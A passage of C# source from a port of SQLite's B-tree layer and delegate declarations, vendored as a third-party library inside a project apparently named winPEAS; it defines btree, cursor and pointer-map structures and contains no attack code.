the same database file, each connection has it own ** private Btree object for the file and each of those Btrees points ** to this one BtShared object. BtShared.nRef is the number of ** connections currently sharing this database file. ** ** Fields in this structure are accessed under the BtShared.mutex ** mutex, except for nRef and pNext which are accessed under the ** global SQLITE_MUTEX_STATIC_MASTER mutex. The pPager field ** may not be modified once it is initially set as long as nRef>0. ** The pSchema field may be set once under BtShared.mutex and ** thereafter is unchanged as long as nRef>0. ** ** isPending: ** ** If a BtShared client fails to obtain a write-lock on a database ** table (because there exists one or more read-locks on the table), ** the shared-cache enters 'pending-lock' state and isPending is ** set to true. ** ** The shared-cache leaves the 'pending lock' state when either of ** the following occur: ** ** 1) The current writer (BtShared.pWriter) concludes its transaction, OR ** 2) The number of locks held by other connections drops to zero. ** ** while in the 'pending-lock' state, no connection may start a new ** transaction. ** ** This feature is included to help prevent writer-starvation. */ public class BtShared { public Pager pPager; /* The page cache */ public sqlite3 db; /* Database connection currently using this Btree */ public BtCursor pCursor; /* A list of all open cursors */ public MemPage pPage1; /* First page of the database */ public bool readOnly; /* True if the underlying file is readonly */ public bool pageSizeFixed; /* True if the page size can no longer be changed */ #if !SQLITE_OMIT_AUTOVACUUM public bool autoVacuum; /* True if auto-vacuum is enabled */ public bool incrVacuum; /* True if incr-vacuum is enabled */ #endif public u16 pageSize; /* Total number of bytes on a page */ public u16 usableSize; /* Number of usable bytes on each page */ public u16 maxLocal; /* Maximum local payload in non-LEAFDATA tables */ public u16 minLocal; /* Minimum local payload in non-LEAFDATA tables */ public u16 maxLeaf; /* Maximum local payload in a LEAFDATA table */ public u16 minLeaf; /* Minimum local payload in a LEAFDATA table */ public u8 inTransaction; /* Transaction state */ public int nTransaction; /* Number of open transactions (read + write) */ public Schema pSchema; /* Pointer to space allocated by sqlite3BtreeSchema() */ public dxFreeSchema xFreeSchema;/* Destructor for BtShared.pSchema */ public sqlite3_mutex mutex; /* Non-recursive mutex required to access this struct */ public Bitvec pHasContent; /* Set of pages moved to free-list this transaction */ #if !SQLITE_OMIT_SHARED_CACHE public int nRef; /* Number of references to this structure */ public BtShared pNext; /* Next on a list of sharable BtShared structs */ public BtLock pLock; /* List of locks held on this shared-btree struct */ public Btree pWriter; /* Btree with currently open write transaction */ public u8 isExclusive; /* True if pWriter has an EXCLUSIVE lock on the db */ public u8 isPending; /* If waiting for read-locks to clear */ #endif public byte[] pTmpSpace; /* BtShared.pageSize bytes of space for tmp use */ }; /* ** An instance of the following structure is used to hold information ** about a cell. The parseCellPtr() function fills in this structure ** based on information extract from the raw disk page. */ //typedef struct CellInfo CellInfo; public struct CellInfo { public byte[] pCell; /* Pointer to the start of cell content */ public int iCell; /* Offset to start of cell content -- Needed for C# */ public i64 nKey; /* The key for INTKEY tables, or number of bytes in key */ public u32 nData; /* Number of bytes of data */ public u32 nPayload; /* Total amount of payload */ public u16 nHeader; /* Size of the cell content header in bytes */ public u16 nLocal; /* Amount of payload held locally */ public u16 iOverflow; /* Offset to overflow page number. Zero if no overflow */ public u16 nSize; /* Size of the cell content on the main b-tree page */ public bool Equals( CellInfo ci ) { if ( ci.pCell[ci.iCell] != this.pCell[iCell] ) return false; if ( ci.nKey != this.nKey || ci.nData != this.nData || ci.nPayload != this.nPayload ) return false; if ( ci.nHeader != this.nHeader || ci.nLocal != this.nLocal ) return false; if ( ci.iOverflow != this.iOverflow || ci.nSize != this.nSize ) return false; return true; } }; /* ** Maximum depth of an SQLite B-Tree structure. Any B-Tree deeper than ** this will be declared corrupt. This value is calculated based on a ** maximum database size of 2^31 pages a minimum fanout of 2 for a ** root-node and 3 for all other internal nodes. ** ** If a tree that appears to be taller than this is encountered, it is ** assumed that the database is corrupt. */ //#define BTCURSOR_MAX_DEPTH 20 const int BTCURSOR_MAX_DEPTH = 20; /* ** A cursor is a pointer to a particular entry within a particular ** b-tree within a database file. ** ** The entry is identified by its MemPage and the index in ** MemPage.aCell[] of the entry. ** ** When a single database file can shared by two more database connections, ** but cursors cannot be shared. Each cursor is associated with a ** particular database connection identified BtCursor.pBtree.db. ** ** Fields in this structure are accessed under the BtShared.mutex ** found at self.pBt.mutex. */ public class BtCursor { public Btree pBtree; /* The Btree to which this cursor belongs */ public BtShared pBt; /* The BtShared this cursor points to */ public BtCursor pNext; public BtCursor pPrev; /* Forms a linked list of all cursors */ public KeyInfo pKeyInfo; /* Argument passed to comparison function */ public Pgno pgnoRoot; /* The root page of this tree */ public sqlite3_int64 cachedRowid; /* Next rowid cache. 0 means not valid */ public CellInfo info = new CellInfo(); /* A parse of the cell we are pointing at */ public u8 wrFlag; /* True if writable */ public u8 atLast; /* VdbeCursor pointing to the last entry */ public bool validNKey; /* True if info.nKey is valid */ public int eState; /* One of the CURSOR_XXX constants (see below) */ public byte[] pKey; /* Saved key that was cursor's last known position */ public i64 nKey; /* Size of pKey, or last integer key */ public int skipNext; /* Prev() is noop if negative. Next() is noop if positive */ #if !SQLITE_OMIT_INCRBLOB public bool isIncrblobHandle; /* True if this cursor is an incr. io handle */ public Pgno[] aOverflow; /* Cache of overflow page locations */ #endif public i16 iPage; /* Index of current page in apPage */ public MemPage[] apPage = new MemPage[BTCURSOR_MAX_DEPTH]; /* Pages from root to current page */ public u16[] aiIdx = new u16[BTCURSOR_MAX_DEPTH]; /* Current index in apPage[i] */ public BtCursor Copy() { BtCursor cp = (BtCursor)MemberwiseClone(); return cp; } }; /* ** Potential values for BtCursor.eState. ** ** CURSOR_VALID: ** VdbeCursor points to a valid entry. getPayload() etc. may be called. ** ** CURSOR_INVALID: ** VdbeCursor does not point to a valid entry. This can happen (for example) ** because the table is empty or because BtreeCursorFirst() has not been ** called. ** ** CURSOR_REQUIRESEEK: ** The table that this cursor was opened on still exists, but has been ** modified since the cursor was last used. The cursor position is saved ** in variables BtCursor.pKey and BtCursor.nKey. When a cursor is in ** this state, restoreCursorPosition() can be called to attempt to ** seek the cursor to the saved position. ** ** CURSOR_FAULT: ** A unrecoverable error (an I/O error or a malloc failure) has occurred ** on a different connection that shares the BtShared cache with this ** cursor. The error has left the cache in an inconsistent state. ** Do nothing else with this cursor. Any attempt to use the cursor ** should return the error code stored in BtCursor.skip */ const int CURSOR_INVALID = 0; const int CURSOR_VALID = 1; const int CURSOR_REQUIRESEEK = 2; const int CURSOR_FAULT = 3; /* ** The database page the PENDING_BYTE occupies. This page is never used. */ //# define PENDING_BYTE_PAGE(pBt) PAGER_MJ_PGNO(pBt) // TODO -- Convert PENDING_BYTE_PAGE to inline static u32 PENDING_BYTE_PAGE( BtShared pBt ) { return (u32)PAGER_MJ_PGNO( pBt.pPager ); } /* ** These macros define the location of the pointer-map entry for a ** database page. The first argument to each is the number of usable ** bytes on each page of the database (often 1024). The second is the ** page number to look up in the pointer map. ** ** PTRMAP_PAGENO returns the database page number of the pointer-map ** page that stores the required pointer. PTRMAP_PTROFFSET returns ** the offset of the requested map entry. ** ** If the pgno argument passed to PTRMAP_PAGENO is a pointer-map page, ** then pgno is returned. So (pgno==PTRMAP_PAGENO(pgsz, pgno)) can be ** used to test if pgno is a pointer-map page. PTRMAP_ISPAGE implements ** this test. */ //#define PTRMAP_PAGENO(pBt, pgno) ptrmapPageno(pBt, pgno) static Pgno PTRMAP_PAGENO( BtShared pBt, Pgno pgno ) { return ptrmapPageno( pBt, pgno ); } //#define PTRMAP_PTROFFSET(pgptrmap, pgno) (5*(pgno-pgptrmap-1)) static u32 PTRMAP_PTROFFSET( u32 pgptrmap, u32 pgno ) { return ( 5 * ( pgno - pgptrmap - 1 ) ); } //#define PTRMAP_ISPAGE(pBt, pgno) (PTRMAP_PAGENO((pBt),(pgno))==(pgno)) static bool PTRMAP_ISPAGE( BtShared pBt, u32 pgno ) { return ( PTRMAP_PAGENO( ( pBt ), ( pgno ) ) == ( pgno ) ); } /* ** The pointer map is a lookup table that identifies the parent page for ** each child page in the database file. The parent page is the page that ** contains a pointer to the child. Every page in the database contains ** 0 or 1 parent pages. (In this context 'database page' refers ** to any page that is not part of the pointer map itself.) Each pointer map ** entry consists of a single byte 'type' and a 4 byte parent page number. ** The PTRMAP_XXX identifiers below are the valid types. ** ** The purpose of the pointer map is to facility moving pages from one ** position in the file to another as part of autovacuum. When a page ** is moved, the pointer in its parent must be updated to point to the ** new location. The pointer map is used to locate the parent page quickly. ** ** PTRMAP_ROOTPAGE: The database page is a root-page. The page-number is not ** used in this case. ** ** PTRMAP_FREEPAGE: The database page is an unused (free) page. The page-number ** is not used in this case. ** ** PTRMAP_OVERFLOW1: The database page is the first page in a list of ** overflow pages. The page number identifies the page that ** contains the cell with a pointer to this overflow page. ** ** PTRMAP_OVERFLOW2: The database page is the second or later page in a list of ** overflow pages. The page-number identifies the previous ** page in the overflow page list. ** ** PTRMAP_BTREE: The database page is a non-root btree page. The page number ** identifies the parent page in the btree. */ //#define PTRMAP_ROOTPAGE 1 //#define PTRMAP_FREEPAGE 2 //#define PTRMAP_OVERFLOW1 3 //#define PTRMAP_OVERFLOW2 4 //#define PTRMAP_BTREE 5 const int PTRMAP_ROOTPAGE = 1; const int PTRMAP_FREEPAGE = 2; const int PTRMAP_OVERFLOW1 = 3; const int PTRMAP_OVERFLOW2 = 4; const int PTRMAP_BTREE = 5; /* A bunch of Debug.Assert() statements to check the transaction state variables ** of handle p (type Btree*) are internally consistent. */ #if DEBUG //#define btreeIntegrity(p) \ // Debug.Assert( p.pBt.inTransaction!=TRANS_NONE || p.pBt.nTransaction==0 ); \ // Debug.Assert( p.pBt.inTransaction>=p.inTrans ); static void btreeIntegrity( Btree p ) { Debug.Assert( p.pBt.inTransaction != TRANS_NONE || p.pBt.nTransaction == 0 ); Debug.Assert( p.pBt.inTransaction >= p.inTrans ); } #else static void btreeIntegrity(Btree p) { } #endif /* ** The ISAUTOVACUUM macro is used within balance_nonroot() to determine ** if the database supports auto-vacuum or not. Because it is used ** within an expression that is an argument to another macro ** (sqliteMallocRaw), it is not possible to use conditional compilation. ** So, this macro is defined instead. */ #if !SQLITE_OMIT_AUTOVACUUM //#define ISAUTOVACUUM (pBt.autoVacuum) #else //#define ISAUTOVACUUM 0 public static bool ISAUTOVACUUM =false; #endif /* ** This structure is passed around through all the sanity checking routines ** in order to keep track of some global state information. */ //typedef struct IntegrityCk IntegrityCk; public class IntegrityCk { public BtShared pBt; /* The tree being checked out */ public Pager pPager; /* The associated pager. Also accessible by pBt.pPager */ public Pgno nPage; /* Number of pages in the database */ public int[] anRef; /* Number of times each page is referenced */ public int mxErr; /* Stop accumulating errors when this reaches zero */ public int nErr; /* Number of messages written to zErrMsg so far */ //public int mallocFailed; /* A memory allocation error has occurred */ public StrAccum errMsg = new StrAccum(); /* Accumulate the error message text here */ }; /* ** Read or write a two- and four-byte big-endian integer values. */ //#define get2byte(x) ((x)[0]<<8 | (x)[1]) static int get2byte( byte[] p, int offset ) { return p[offset + 0] << 8 | p[offset + 1]; } //#define put2byte(p,v) ((p)[0] = (u8)((v)>>8), (p)[1] = (u8)(v)) static void put2byte( byte[] pData, int Offset, u32 v ) { pData[Offset + 0] = (byte)( v >> 8 ); pData[Offset + 1] = (byte)v; } static void put2byte( byte[] pData, int Offset, int v ) { pData[Offset + 0] = (byte)( v >> 8 ); pData[Offset + 1] = (byte)v; } //#define get4byte sqlite3Get4byte //#define put4byte sqlite3Put4byte } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Btree_h.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This header file defines the interface that the sqlite B-Tree file ** subsystem. See comments in the source code for a detailed description ** of what each interface routine does. ** ** @(#) $Id: btree.h,v 1.120 2009/07/22 00:35:24 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_BTREE_H_ //#define _BTREE_H_ /* TODO: This definition is just included so other modules compile. It ** needs to be revisited. */ const int SQLITE_N_BTREE_META = 10; /* ** If defined as non-zero, auto-vacuum is enabled by default. Otherwise ** it must be turned on for each database using "PRAGMA auto_vacuum = 1". */ #if !SQLITE_DEFAULT_AUTOVACUUM const int SQLITE_DEFAULT_AUTOVACUUM = 0; #endif const int BTREE_AUTOVACUUM_NONE = 0; /* Do not do auto-vacuum */ const int BTREE_AUTOVACUUM_FULL = 1; /* Do full auto-vacuum */ const int BTREE_AUTOVACUUM_INCR = 2; /* Incremental vacuum */ /* ** Forward declarations of structure */ //typedef struct Btree Btree; //typedef struct BtCursor BtCursor; //typedef struct BtShared BtShared; //typedef struct BtreeMutexArray BtreeMutexArray; /* ** This structure records all of the Btrees that need to hold ** a mutex before we enter sqlite3VdbeExec(). The Btrees are ** are placed in aBtree[] in order of aBtree[].pBt. That way, ** we can always lock and unlock them all quickly. */ public class BtreeMutexArray { public int nMutex; public Btree[] aBtree = new Btree[SQLITE_MAX_ATTACHED + 1]; }; //int sqlite3BtreeOpen( // string zFilename, /* Name of database file to open */ // sqlite3 db, /* Associated database connection */ // Btree **ppBtree, /* Return open Btree* here */ // int flags, /* Flags */ // int vfsFlags /* Flags passed through to VFS open */ //); /* The flags parameter to sqlite3BtreeOpen can be the bitwise or of the ** following values. ** ** NOTE: These values must match the corresponding PAGER_ values in ** pager.h. */ const int BTREE_OMIT_JOURNAL = 1; /* Do not use journal. No argument */ const int BTREE_NO_READLOCK = 2; /* Omit readlocks on readonly files */ const int BTREE_MEMORY = 4; /* In-memory DB. No argument */ const int BTREE_READONLY = 8; /* Open the database in read-only mode */ const int BTREE_READWRITE = 16; /* Open for both reading and writing */ const int BTREE_CREATE = 32; /* Create the database if it does not exist */ //int sqlite3BtreeClose(Btree*); //int sqlite3BtreeSetCacheSize(Btree*,int); //int sqlite3BtreeSetSafetyLevel(Btree*,int,int); //int sqlite3BtreeSyncDisabled(Btree*); //int sqlite3BtreeSetPageSize(Btree *p, int nPagesize, int nReserve, int eFix); //int sqlite3BtreeGetPageSize(Btree*); //int sqlite3BtreeMaxPageCount(Btree*,int); //int sqlite3BtreeGetReserve(Btree*); //int sqlite3BtreeSetAutoVacuum(Btree , int); //int sqlite3BtreeGetAutoVacuum(Btree ); //int sqlite3BtreeBeginTrans(Btree*,int); //int sqlite3BtreeCommitPhaseOne(Btree*, string zMaster); //int sqlite3BtreeCommitPhaseTwo(Btree*); //int sqlite3BtreeCommit(Btree*); //int sqlite3BtreeRollback(Btree*); //int sqlite3BtreeBeginStmt(Btree*); //int sqlite3BtreeCreateTable(Btree*, int*, int flags); //int sqlite3BtreeIsInTrans(Btree*); //int sqlite3BtreeIsInReadTrans(Btree*); //int sqlite3BtreeIsInBackup(Btree*); //void *sqlite3BtreeSchema(Btree , int, void(*)(void *)); //int sqlite3BtreeSchemaLocked( Btree* pBtree ); //int sqlite3BtreeLockTable( Btree* pBtree, int iTab, u8 isWriteLock ); //int sqlite3BtreeSavepoint(Btree *, int, int); //const char *sqlite3BtreeGetFilename(Btree ); //const char *sqlite3BtreeGetJournalname(Btree ); //int sqlite3BtreeCopyFile(Btree *, Btree *); //int sqlite3BtreeIncrVacuum(Btree ); /* The flags parameter to sqlite3BtreeCreateTable can be the bitwise OR ** of the following flags: */ const int BTREE_INTKEY = 1; /* Table has only 64-bit signed integer keys */ const int BTREE_ZERODATA = 2; /* Table has keys only - no data */ const int BTREE_LEAFDATA = 4; /* Data stored in leaves only. Implies INTKEY */ //int sqlite3BtreeDropTable(Btree*, int, int*); //int sqlite3BtreeClearTable(Btree*, int, int*); //void sqlite3BtreeTripAllCursors(Btree*, int); //void sqlite3BtreeGetMeta(Btree *pBtree, int idx, u32 *pValue); //int sqlite3BtreeUpdateMeta(Btree*, int idx, u32 value); /* ** The second parameter to sqlite3BtreeGetMeta or sqlite3BtreeUpdateMeta ** should be one of the following values. The integer values are assigned ** to constants so that the offset of the corresponding field in an ** SQLite database header may be found using the following formula: ** ** offset = 36 + (idx * 4) ** ** For example, the free-page-count field is located at byte offset 36 of ** the database file header. The incr-vacuum-flag field is located at ** byte offset 64 (== 36+4*7). */ //#define BTREE_FREE_PAGE_COUNT 0 //#define BTREE_SCHEMA_VERSION 1 //#define BTREE_FILE_FORMAT 2 //#define BTREE_DEFAULT_CACHE_SIZE 3 //#define BTREE_LARGEST_ROOT_PAGE 4 //#define BTREE_TEXT_ENCODING 5 //#define BTREE_USER_VERSION 6 //#define BTREE_INCR_VACUUM 7 const int BTREE_FREE_PAGE_COUNT = 0; const int BTREE_SCHEMA_VERSION = 1; const int BTREE_FILE_FORMAT = 2; const int BTREE_DEFAULT_CACHE_SIZE = 3; const int BTREE_LARGEST_ROOT_PAGE = 4; const int BTREE_TEXT_ENCODING = 5; const int BTREE_USER_VERSION = 6; const int BTREE_INCR_VACUUM = 7; //int sqlite3BtreeCursor( // Btree*, /* BTree containing table to open */ // int iTable, /* Index of root page */ // int wrFlag, /* 1 for writing. 0 for read-only */ // struct KeyInfo*, /* First argument to compare function */ // BtCursor pCursor /* Space to write cursor structure */ //); //int sqlite3BtreeCursorSize(void); //int sqlite3BtreeCloseCursor(BtCursor*); //int sqlite3BtreeMovetoUnpacked( // BtCursor*, // UnpackedRecord pUnKey, // i64 intKey, // int bias, // int pRes //); //int sqlite3BtreeCursorHasMoved(BtCursor*, int*); //int sqlite3BtreeDelete(BtCursor*); //int sqlite3BtreeInsert(BtCursor*, const void pKey, i64 nKey, // const void pData, int nData, // int nZero, int bias, int seekResult); //int sqlite3BtreeFirst(BtCursor*, int pRes); //int sqlite3BtreeLast(BtCursor*, int pRes); //int sqlite3BtreeNext(BtCursor*, int pRes); //int sqlite3BtreeEof(BtCursor*); //int sqlite3BtreePrevious(BtCursor*, int pRes); //int sqlite3BtreeKeySize(BtCursor*, i64 pSize); //int sqlite3BtreeKey(BtCursor*, u32 offset, u32 amt, void*); //const void *sqlite3BtreeKeyFetch(BtCursor*, int pAmt); //const void *sqlite3BtreeDataFetch(BtCursor*, int pAmt); //int sqlite3BtreeDataSize(BtCursor*, u32 pSize); //int sqlite3BtreeData(BtCursor*, u32 offset, u32 amt, void*); //void sqlite3BtreeSetCachedRowid(BtCursor*, sqlite3_int64); //sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor*); //char *sqlite3BtreeIntegrityCheck(Btree*, int *aRoot, int nRoot, int, int*); //struct Pager *sqlite3BtreePager(Btree*); //int sqlite3BtreePutData(BtCursor*, u32 offset, u32 amt, void*); //void sqlite3BtreeCacheOverflow(BtCursor ); //void sqlite3BtreeClearCursor(BtCursor *); //#ifndef NDEBUG //int sqlite3BtreeCursorIsValid(BtCursor*); //#endif //#if !SQLITE_OMIT_BTREECOUNT //int sqlite3BtreeCount(BtCursor *, i64 *); //#endif //#if SQLITE_TEST //int sqlite3BtreeCursorInfo(BtCursor*, int*, int); //void sqlite3BtreeCursorList(Btree*); //#endif #if !SQLITE_OMIT_SHARED_CACHE //void sqlite3BtreeEnter(Btree*); //void sqlite3BtreeEnterAll(sqlite3*); #else //# define sqlite3BtreeEnter(X) static void sqlite3BtreeEnter( Btree bt ) { } //# define sqlite3BtreeEnterAll(X) static void sqlite3BtreeEnterAll( sqlite3 p ) { } #endif #if !(SQLITE_OMIT_SHARED_CACHE) && SQLITE_THREADSAFE //void sqlite3BtreeLeave(Btree*); //void sqlite3BtreeEnterCursor(BtCursor*); //void sqlite3BtreeLeaveCursor(BtCursor*); //void sqlite3BtreeLeaveAll(sqlite3*); //void sqlite3BtreeMutexArrayEnter(BtreeMutexArray*); //void sqlite3BtreeMutexArrayLeave(BtreeMutexArray*); //void sqlite3BtreeMutexArrayInsert(BtreeMutexArray*, Btree*); #if !NDEBUG /* These routines are used inside assert() statements only. */ int sqlite3BtreeHoldsMutex(Btree*); int sqlite3BtreeHoldsAllMutexes(sqlite3*); #endif #else //# define sqlite3BtreeLeave(X) static void sqlite3BtreeLeave( Btree X ) { } //# define sqlite3BtreeEnterCursor(X) static void sqlite3BtreeEnterCursor( BtCursor X ) { } //# define sqlite3BtreeLeaveCursor(X) static void sqlite3BtreeLeaveCursor( BtCursor X ) { } //# define sqlite3BtreeLeaveAll(X) static void sqlite3BtreeLeaveAll( sqlite3 X ) { } //# define sqlite3BtreeMutexArrayEnter(X) static void sqlite3BtreeMutexArrayEnter( BtreeMutexArray X ) { } //# define sqlite3BtreeMutexArrayLeave(X) static void sqlite3BtreeMutexArrayLeave( BtreeMutexArray X ) { } //# define sqlite3BtreeMutexArrayInsert(X,Y) static void sqlite3BtreeMutexArrayInsert( BtreeMutexArray X, Btree Y ) { } //# define sqlite3BtreeHoldsMutex(X) 1 static bool sqlite3BtreeHoldsMutex( Btree X ) { return true; } //# define sqlite3BtreeHoldsAllMutexes(X) 1 static bool sqlite3BtreeHoldsAllMutexes( sqlite3 X ) { return true; } #endif //#endif // * _BTREE_H_ */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/Delagates.cs ================================================ /* ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/Delagates.cs $ ** Revision : $Revision$ ** Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $ ** Last Changed By : $LastChangedBy: noah.hart $ ************************************************************************* */ using System.Text; using HANDLE = System.IntPtr; using u32 = System.UInt32; using u64 = System.UInt64; using sqlite3_int64 = System.Int64; namespace winPEAS._3rdParty.SQLite.src { using DbPage = CSSQLite.PgHdr; using sqlite3_stmt = CSSQLite.Vdbe; using sqlite3_value = CSSQLite.Mem; using sqlite3_pcache = CSSQLite.PCache1; public partial class CSSQLite { public delegate void dxAuth( object pAuthArg, int b, string c, string d, string e, string f ); public delegate int dxBusy( object pBtShared, int iValue ); public delegate void dxFreeAux( object pAuxArg ); public delegate int dxCallback( object pCallbackArg, sqlite3_int64 argc, object p2, object p3 ); public delegate void dxCollNeeded( object pCollNeededArg, sqlite3 db, int eTextRep, string collationName ); public delegate int dxCommitCallback( object pCommitArg ); public delegate int dxCompare( object pCompareArg, int size1, string Key1, int size2, string Key2 ); public delegate bool dxCompare4( string Key1, int size1, string Key2, int size2 ); public delegate void dxDel ( ref string pDelArg ); // needs ref public delegate void dxDelCollSeq( ref object pDelArg ); // needs ref public delegate void dxProfile( object pProfileArg, string msg, u64 time ); public delegate int dxProgress( object pProgressArg ); public delegate void dxRollbackCallback( object pRollbackArg ); public delegate void dxTrace( object pTraceArg, string msg ); public delegate void dxUpdateCallback( object pUpdateArg, int b, string c, string d, sqlite3_int64 e ); /* * FUNCTIONS * */ public delegate void dxFunc( sqlite3_context ctx, int intValue, sqlite3_value[] value ); public delegate void dxStep( sqlite3_context ctx, int intValue, sqlite3_value[] value ); public delegate void dxFinal( sqlite3_context ctx ); // public delegate string dxColname( sqlite3_value pVal ); public delegate int dxFuncBtree( Btree p ); public delegate int dxExprTreeFunction( ref int pArg, Expr pExpr ); public delegate int dxExprTreeFunction_NC( NameContext pArg, ref Expr pExpr ); public delegate int dxExprTreeFunction_OBJ( object pArg, Expr pExpr ); /* VFS Delegates */ public delegate int dxClose( sqlite3_file File_ID ); public delegate int dxCheckReservedLock( sqlite3_file File_ID, ref int pRes); public delegate int dxDeviceCharacteristics( sqlite3_file File_ID ); public delegate int dxFileControl( sqlite3_file File_ID, int op, ref int pArgs ); public delegate int dxFileSize( sqlite3_file File_ID, ref int size ); public delegate int dxLock( sqlite3_file File_ID, int locktype ); public delegate int dxRead( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset ); public delegate int dxSectorSize( sqlite3_file File_ID ); public delegate int dxSync( sqlite3_file File_ID, int flags ); public delegate int dxTruncate( sqlite3_file File_ID, sqlite3_int64 size ); public delegate int dxUnlock( sqlite3_file File_ID, int locktype ); public delegate int dxWrite( sqlite3_file File_ID, byte[] buffer, int amount, sqlite3_int64 offset ); /* sqlite_vfs Delegates */ public delegate int dxOpen( sqlite3_vfs vfs, string zName, sqlite3_file db, int flags, ref int pOutFlags ); public delegate int dxDelete( sqlite3_vfs vfs, string zName, int syncDir ); public delegate int dxAccess( sqlite3_vfs vfs, string zName, int flags, ref int pResOut ); public delegate int dxFullPathname( sqlite3_vfs vfs, string zName, int nOut, StringBuilder zOut ); public delegate HANDLE dxDlOpen( sqlite3_vfs vfs, string zFilename ); public delegate int dxDlError( sqlite3_vfs vfs, int nByte, ref string zErrMsg ); public delegate HANDLE dxDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol ); public delegate int dxDlClose( sqlite3_vfs vfs, HANDLE data ); public delegate int dxRandomness( sqlite3_vfs vfs, int nByte, ref byte[] buffer ); public delegate int dxSleep( sqlite3_vfs vfs, int microseconds ); public delegate int dxCurrentTime( sqlite3_vfs vfs, ref double currenttime ); public delegate int dxGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf ); /* * Pager Delegates */ public delegate void dxDestructor( DbPage dbPage); /* Call this routine when freeing pages */ public delegate int dxBusyHandler( object pBusyHandlerArg ); public delegate void dxReiniter( DbPage dbPage ); /* Call this routine when reloading pages */ public delegate void dxFreeSchema( Schema schema ); //Module public delegate void dxDestroy( ref PgHdr pDestroyArg ); public delegate int dxStress (object obj,PgHdr pPhHdr); //sqlite3_module public delegate int smdxCreate( sqlite3 db, object pAux, int argc, string constargv, ref sqlite3_vtab ppVTab, ref string pError ); public delegate int smdxConnect( sqlite3 db, object pAux, int argc, string constargv, ref sqlite3_vtab ppVTab, ref string pError ); public delegate int smdxBestIndex( sqlite3_vtab pVTab, ref sqlite3_index_info pIndex ); public delegate int smdxDisconnect( sqlite3_vtab pVTab ); public delegate int smdxDestroy( sqlite3_vtab pVTab ); public delegate int smdxOpen( sqlite3_vtab pVTab, ref sqlite3_vtab_cursor ppCursor ); public delegate int smdxClose( sqlite3_vtab_cursor pCursor ); public delegate int smdxFilter( sqlite3_vtab_cursor pCursor, int idxNum, string idxStr, int argc, sqlite3_value[] argv ); public delegate int smdxNext( sqlite3_vtab_cursor pCursor ); public delegate int smdxEof( sqlite3_vtab_cursor pCursor ); public delegate int smdxColumn( sqlite3_vtab_cursor pCursor, sqlite3_context p2, int p3 ); public delegate int smdxRowid( sqlite3_vtab_cursor pCursor, sqlite3_int64 pRowid ); public delegate int smdxUpdate( sqlite3_vtab pVTab, int p1, sqlite3_value[] p2, sqlite3_int64 p3 ); public delegate int smdxBegin( sqlite3_vtab pVTab ); public delegate int smdxSync( sqlite3_vtab pVTab ); public delegate int smdxCommit( sqlite3_vtab pVTab ); public delegate int smdxRollback( sqlite3_vtab pVTab ); public delegate int smdxFindFunction( sqlite3_vtab pVtab, int nArg, string zName, object pxFunc, ref sqlite3_value[] ppArg ); public delegate int smdxRename( sqlite3_vtab pVtab, string zNew ); //AutoExtention public delegate int dxInit( sqlite3 db, ref string zMessage, sqlite3_api_routines sar ); #if !SQLITE_OMIT_VIRTUALTABLE public delegate int dmxCreate(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7); public delegate int dmxConnect(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7); public delegate int dmxBestIndex(sqlite3_vtab pVTab, sqlite3_index_info pIndexInfo); public delegate int dmxDisconnect(sqlite3_vtab pVTab); public delegate int dmxDestroy(sqlite3_vtab pVTab); public delegate int dmxOpen(sqlite3_vtab pVTab, sqlite3_vtab_cursor ppCursor); public delegate int dmxClose(sqlite3_vtab_cursor pCursor); public delegate int dmxFilter(sqlite3_vtab_cursor pCursor, int idmxNum, string idmxStr, int argc, sqlite3_value argv); public delegate int dmxNext(sqlite3_vtab_cursor pCursor); public delegate int dmxEof(sqlite3_vtab_cursor pCursor); public delegate int dmxColumn(sqlite3_vtab_cursor pCursor, sqlite3_context ctx, int i3); public delegate int dmxRowid(sqlite3_vtab_cursor pCursor, sqlite3_int64 pRowid); public delegate int dmxUpdate(sqlite3_vtab pVTab, int i2, sqlite3_value sv3, sqlite3_int64 v4); public delegate int dmxBegin(sqlite3_vtab pVTab); public delegate int dmxSync(sqlite3_vtab pVTab); public delegate int dmxCommit(sqlite3_vtab pVTab); public delegate int dmxRollback(sqlite3_vtab pVTab); public delegate int dmxFindFunction(sqlite3_vtab pVtab, int nArg, string zName); public delegate int dmxRename(sqlite3_vtab pVtab, string zNew); #endif //Faults public delegate void void_function(); //Alarms public delegate void dxalarmCallback (object pData, sqlite3_int64 p1, int p2); //Mem Methods public delegate int dxMemInit (object o); public delegate void dxMemShutdown( object o ); public delegate byte[] dxMalloc (int nSize); public delegate void dxFree( ref byte[] pOld); public delegate byte[] dxRealloc( ref byte[] pOld, int nSize ); public delegate int dxSize (byte[] pArray); public delegate int dxRoundup( int nSize ); //Mutex Methods public delegate int dxMutexInit(); public delegate int dxMutexEnd( ); public delegate sqlite3_mutex dxMutexAlloc(int iNumber); public delegate void dxMutexFree(sqlite3_mutex sm); public delegate void dxMutexEnter(sqlite3_mutex sm); public delegate int dxMutexTry(sqlite3_mutex sm); public delegate void dxMutexLeave(sqlite3_mutex sm); public delegate int dxMutexHeld(sqlite3_mutex sm); public delegate int dxMutexNotheld(sqlite3_mutex sm); public delegate object dxColumn( sqlite3_stmt pStmt, int i ); public delegate int dxColumn_I( sqlite3_stmt pStmt, int i ); // Walker Methods public delegate int dxExprCallback (Walker W, ref Expr E); /* Callback for expressions */ public delegate int dxSelectCallback (Walker W, Select S); /* 